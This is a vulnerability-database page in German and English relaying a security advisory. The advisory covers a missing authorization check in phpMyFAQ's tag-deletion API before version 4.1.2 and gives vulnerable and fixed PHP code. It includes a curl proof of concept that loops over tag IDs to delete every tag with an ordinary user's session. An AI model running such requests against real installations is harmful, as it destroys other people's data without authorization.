Mittel

phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags

  • Veröffentlicht: 06.05.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The TagController::delete() endpoint at DELETE /admin/api/content/tags/{tagId} only verifies that the user is logged in (userIsAuthenticated()), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with TagController::update() and TagController::search(), which both enforce the FAQ_EDIT permission.

Details

In phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php, the delete() method (line 121-133) uses only $this->userIsAuthenticated():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userIsAuthenticated();  // Only checks isLoggedIn() — no permission check

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

Compare with update() (line 48-71) which properly enforces authorization:

php
public function update(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check
    // ... also verifies CSRF token ...
}

The userIsAuthenticated() method in AbstractController (line 258-263) only checks $this->currentUser->isLoggedIn():

php
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

There is no admin-level middleware in the Kernel — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (admin/api/index.php) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.

Additionally, this endpoint lacks CSRF token verification (unlike update()), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.

PoC

bash
# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)

# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
  -H 'Cookie: PHPSESSID=<regular_user_session>'

# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}

# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
  curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
    -H 'Cookie: PHPSESSID=<regular_user_session>'
done

Impact

Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:

  • Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.
  • Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken.
  • No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup.

The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.

Recommended Fix

Add the FAQ_EDIT permission check and CSRF token verification to TagController::delete(), consistent with TagController::update():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

At minimum, add $this->userHasPermission(PermissionType::FAQ_EDIT) to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated TAG_DELETE permission type for more granular access control.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket phpmyfaq/phpmyfaq < 4.1.2 4.1.2
Composer-Paket thorsten/phpmyfaq < 4.1.2 4.1.2

Verweise

CVSS-Wert 5.4/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Schwäche (CWE)
CWE-862
Plattform
Composer
Paket
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Veröffentlicht
06.05.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-7cx3-2qx2-3g6w - CC BY 4.0

Schwachstellenhistorie: thorsten/phpmyfaq

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (112) im Archiv
Einträge insgesamt
112
Erste → letzte
05.2022 09.2026
Ohne Fix
2
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 8
  • Hoch 36
  • Mittel 67
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Schweregrad:
  1. Hoch · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Hoch · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Hoch · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags dieser Eintrag
    Mittel · 5.4 CVE-2026-46365 < 4.1.2 4.1.2
  5. Hoch · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  6. Hoch · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  7. Hoch · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
Mehr anzeigen (20) 20 von 45 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.